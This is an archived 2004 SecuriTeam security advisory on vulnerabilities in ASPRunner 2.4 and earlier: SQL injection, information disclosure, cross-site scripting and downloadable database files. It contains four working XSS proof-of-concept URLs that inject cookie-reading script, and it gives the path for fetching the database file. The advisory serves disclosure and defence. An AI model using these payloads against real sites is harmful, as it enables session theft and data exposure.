

# [NT] Multiple Vulnerabilities in ASPRunner

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0095.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 07/27/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 27 Jul 2004 19:52:30 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Multiple Vulnerabilities in ASPRunner

---

## SUMMARY

" <<http://www.xlinesoft.com/asprunner/>> ASPRunner creates a set of ASP pages to access and modify Oracle, SQL Server, MS Access, DB2, MySQL, or FileMaker databases, or any other ODBC data source. Using generated ASP pages, users can search, sort, edit, delete and add data into a database. ASPRunner is easy to learn, you can get started in just 10 minutes!".

ASPRunner suffers from multiple vulnerabilities that allow a remote attacker to perform SQL Injection and XSS attacks as well as gather sensitive information.

## DETAILS

Vulnerable Systems:

\* ASPRunner version 2.4 and below

SQL Injection:

Every Page is vulnerable to SQL Injection attacks. (Login pages are not vulnerable). No POC is provided because the SQL Injection attacks depend on database type and structure.

Information Disclosure:

## Securiteam: [NT] Multiple Vulnerabilities in ASPRunner

An attacker can gain several information from hidden fields and file names.

- \* File names disclosure database generated table name.
- \* Several hidden field shows complete SQL Queries
- \* These hidden fields can also be modified.
- \* Errors generate detailed page which gives lots of information to the client.

### XSS (Cross Site Scripting):

There are no checks within the product for XSS attacks. Here are samples from several pages:

- \* [TABLE]\_search.asp (post)

```
http://[VICTIM]/[TABLE-NAME]_search.asp?action=AdvancedSearch&FieldName=word_id&NeedQuoteswordid=False%2C False&Typewordid=3%2C 3&SearchOption=Contains&SearchFor=&FieldName=tr&NeedQuotestr=True&Typetr=202&SearchOption=Contains&SearchFor=&FieldName=en&NeedQuotesen=True&Typeen=202&SearchOption=Contains&SearchFor=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&FieldName=desc&NeedQuotesdesc=True&Typedesc=203&SearchOption=Contains&SearchFor=
```

- \* [TABLE]\_edit.asp (post)

```
http://[VICTIM]/[TABLE-NAME]_edit.asp?editid=2822&editid2=&editid3=&TargetPageNumber=1&SQL=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Eselect%5Bword_id%5D%2C%5Bword_id%5D%2C%5Btr%5D%2C%5Ben%5D%2C%5Bdesc%5D From%5Bdictionary%5D order by%5Ben%5D desc&NeedQuoteswordid=False&NeedQuotes=&NeedQuotes=&action=view
```

- \* [TABLE]\_list.asp (post)

```
http://[VICTIM]/[TABLE-NAME]_list.asp?TargetPageNumber=1&sourceID=&cmdGotoPage=&action=Search&SQL=select%5Bword_id%5D%2C%5Bword_id%5D%2C%5Btr%5D%2C%5Ben%5D%2C%5Bdesc%5D From%5Bdictionary%5D where 1%3D0 or%5Btr%5D like%27%25&orderby= order by%5Ben%5D desc&PageSize=20&SearchField=AnyField&SearchOption=Contains&SearchFor=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&PageSizeSelect=20&NeedQuoteswordid=False&Typewordid=3&NeedQuoteswordid=False&Typewordid=3&NeedQuotestr=True&Typetr=202&NeedQuotesen=True&Typeen=202&NeedQuotesdesc=True&Typedesc=203
```

- \* export.asp (post)

```
http://[VICTIM]/export.asp?SQL=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3Eselect%5Bword_id%5D%2C%5Bword_id%5D%2C%5Btr%5D%2C%5Ben%5D%2C%5Bdesc%5D From%5Bdictionary%5D order by%5Ben%5D desc&mypage=1&pagesize=20
```

### Database Download:

The database can be downloaded over the web. This is not a critical issue because there is no way to determine the filename. But it's easy to guess it by gathering information about table and field names.

MS Access or other database file (if it's not MS SQL, similar or ODBC Connection) can be found on [http://\[VICTIM\]/db/\[DB-FILE-NAME\]](http://[VICTIM]/db/[DB-FILE-NAME])

Securiteam: [NT] Multiple Vulnerabilities in ASPRunner

Disclosure Timeline:

Discovered: 04.07.2004

Vendor Informed: 05.07.2004

Published: 26.07.2004

ADDITIONAL INFORMATION

The information has been provided by <mailto:ferruh@mavituna.com> Ferruh Mavituna.

The original article can be found at:

<<http://ferruh.mavituna.com/article/?574>>

<http://ferruh.mavituna.com/article/?574>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.